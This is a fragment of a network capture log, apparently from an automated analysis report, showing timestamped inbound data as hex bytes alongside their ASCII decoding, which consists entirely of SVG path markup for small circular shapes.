61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 31 30 2e 30 35 2c 38 36 2e 36 34 Data Ascii: 1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M610.31,94.36a1.91,1.91,0,0,1-.87,2.48,2.78,2.78,0,0,1-3.71-1,2.67,2.67,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M610.05,86.64
2023-07-27 19:53:37 UTC	598	IN	Data Raw: 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 34 34 2e 32 38 2c 31 37 30 2e 34 36 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 34 34 2c 31 36 32 2e 37 34 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c Data Ascii: 6,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M644.28,170.46a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.57-3.22,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M644,162.74a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,
2023-07-27 19:53:37 UTC	614	IN	Data Raw: 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 37 38 2e 32 35 2c 32 34 36 2e 35 36 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 37 38 2c 32 33 38 2e 38 34 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 36 2c 32 Data Ascii: "/><path class="cls-7" d="M678.25,246.56a1.92,1.92,0,0,1-.87,2.49,2.8,2.8,0,0,1-3.71-1.05,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M678,238.84a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1.05,2.66,2
2023-07-27 19:53:37 UTC	630	IN	Data Raw: 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 39 36 2e 38 31 2c 39 39 2e 31 35 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 36 2d 33 2e 32 31 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e Data Ascii: a1.92,1.92,0,0,1-.87,2.49,2.8,2.8,0,0,1-3.71-1,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M696.81,99.15a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.56-3.21,2.52,2.52,0,0,1,3.23,0,2.
2023-07-27 19:53:37 UTC	646	IN	Data Raw: 31 2e 30 35 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 33 30 2e 37 38 2c 31 37 35 2e 32 36 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 38 2c 32 2e 37 38 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 36 2d 33 2e 32 31 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 Data Ascii: 1.05,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M730.78,175.26a1.91,1.91,0,0,1-.87,2.48,2.78,2.78,0,0,1-3.71-1.05,2.68,2.68,0,0,1,.56-3.21,2.52,2.52,0,0,1,3.23,0,2.36,2.36,0,0,1,.17,3.18"/><path class="
2023-07-27 19:53:37 UTC	662	IN	Data Raw: 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 36 34 2e 37 35 2c 32 35 31 2e 33 36 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 36 34 2e 34 39 2c 32 34 33 2e 36 34 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 Data Ascii: 22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M764.75,251.36a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.57-3.22,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M764.49,243.64a1.92,1.92,0,0,1-.87,2.49
2023-07-27 19:53:37 UTC	678	IN	Data Raw: 2e 31 33 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 36 35 33 2e 34 32 2c 32 35 39 2e 35 34 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d Data Ascii: .13-1.36,3,3,0,0,1,.8-3.58,2.82,2.82,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M653.42,259.54a2.16,2.16,0,0,1-1.1,2.75,3.15,3.15,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.82,2.82,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M
2023-07-27 19:53:37 UTC	694	IN	Data Raw: 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 36 38 38 2e 31 35 2c 33 32 30 2e 36 31 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 Data Ascii: -4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"/><path class="cls-9" d="M688.15,320.61a2.15,2.15,0,0,1-1.09,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9"
2023-07-27 19:53:37 UTC	710	IN	Data Raw: 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 32 32 2e 38 39 2c 33 38 31 2e 36 38 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 32 33 2c 33 37 33 61 32 2e 31 36 Data Ascii: ,0,0,1,.8-3.58,2.82,2.82,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M722.89,381.68a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.79-3.58,2.81,2.81,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M723,373a2.16
2023-07-27 19:53:37 UTC	726	IN	Data Raw: 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 35 37 2e 36 32 2c 34 34 32 2e 37 36 61 32 2e 31 34 2c 32 2e 31 34 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 35 37 2e 37 2c 34 33 34 2e 30 38 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c Data Ascii: ,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M757.62,442.76a2.14,2.14,0,0,1-1.09,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"/><path class="cls-9" d="M757.7,434.08a2.15,2.15,0,0,1-1.09,2.75,
2023-07-27 19:53:37 UTC	742	IN	Data Raw: 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 38 35 2e 37 2c 32 36 30 2e 37 31 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 31 39 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 38 35 2e 37 38 2c 32 35 32 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c Data Ascii: 2.65,2.65,0,0,1,0,3.58"/><path class="cls-9" d="M785.7,260.71a2.15,2.15,0,0,1-1.09,2.75,3.15,3.15,0,0,1-4.13-1.35,3,3,0,0,1,.8-3.58,2.81,2.81,0,0,1,3.62.19,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M785.78,252a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,
2023-07-27 19:53:37 UTC	758	IN	Data Raw: 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 32 30 2e 34 34 2c 33 32 31 2e 37 38 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 36 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 32 30 2e 35 31 2c 33 31 33 2e 31 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 36 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 Data Ascii: ath class="cls-9" d="M820.44,321.78a2.16,2.16,0,0,1-1.1,2.76,3.15,3.15,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.82,2.82,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M820.51,313.1a2.15,2.15,0,0,1-1.09,2.76,3.15,3.15,0,0,1-4.12-1.36,3,3,0,0,1,.7
2023-07-27 19:53:37 UTC	774	IN	Data Raw: 22 4d 38 35 35 2e 31 37 2c 33 38 32 2e 38 36 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 35 35 2e 32 35 2c 33 37 34 2e 31 38 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 36 2c 33 2e 31 36 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c Data Ascii: "M855.17,382.86a2.15,2.15,0,0,1-1.09,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M855.25,374.18a2.15,2.15,0,0,1-1.09,2.75,3.16,3.16,0,0,1-4.13-1.36,3,3,0,0,1,.8-3.58,2.83,2.83,0,
2023-07-27 19:53:37 UTC	790	IN	Data Raw: 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 33 2e 36 31 2e 32 2c 32 2e 36 34 2c 32 2e 36 34 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 39 30 2c 34 33 35 2e 32 35 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 37 22 2f 3e 3c 70 61 74 Data Ascii: .1,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.8-3.58,2.8,2.8,0,0,1,3.61.2,2.64,2.64,0,0,1,0,3.57"/><path class="cls-9" d="M890,435.25a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.79-3.58,2.82,2.82,0,0,1,3.62.2,2.63,2.63,0,0,1,0,3.57"/><pat
2023-07-27 19:53:37 UTC	806	IN	Data Raw: 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 39 31 38 2e 30 36 2c 32 35 33 2e 32 31 41 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2c 39 31 37 2c 32 35 36 61 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 Data Ascii: 0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"/><path class="cls-9" d="M918.06,253.21A2.15,2.15,0,0,1,917,256a3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3
2023-07-27 19:53:37 UTC	822	IN	Data Raw: 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 31 39 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 39 35 32 2e 38 2c 33 31 34 2e 32 38 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 33 2e 36 31 2e 31 39 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 Data Ascii: ,0,0,1-4.13-1.35,3,3,0,0,1,.8-3.58,2.81,2.81,0,0,1,3.62.19,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M952.8,314.28a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.8-3.58,2.8,2.8,0,0,1,3.61.19,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9
2023-07-27 19:53:37 UTC	838	IN	Data Raw: 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 39 2e 35 38 2c 32 35 31 2e 36 33 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 39 2e 32 38 2c 32 34 32 2e 38 35 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 Data Ascii: 2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"/><path class="cls-7" d="M59.58,251.63a2.19,2.19,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3.06,3.06,0,0,1,.65-3.66,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M59.28,242.85a2.18,2.18,0,0
2023-07-27 19:53:37 UTC	854	IN	Data Raw: 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 39 37 2c 33 30 33 2e 30 39 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d Data Ascii: 8,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"/><path class="cls-7" d="M97,303.09a2.19,2.19,0,0,1-1,2.83,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-
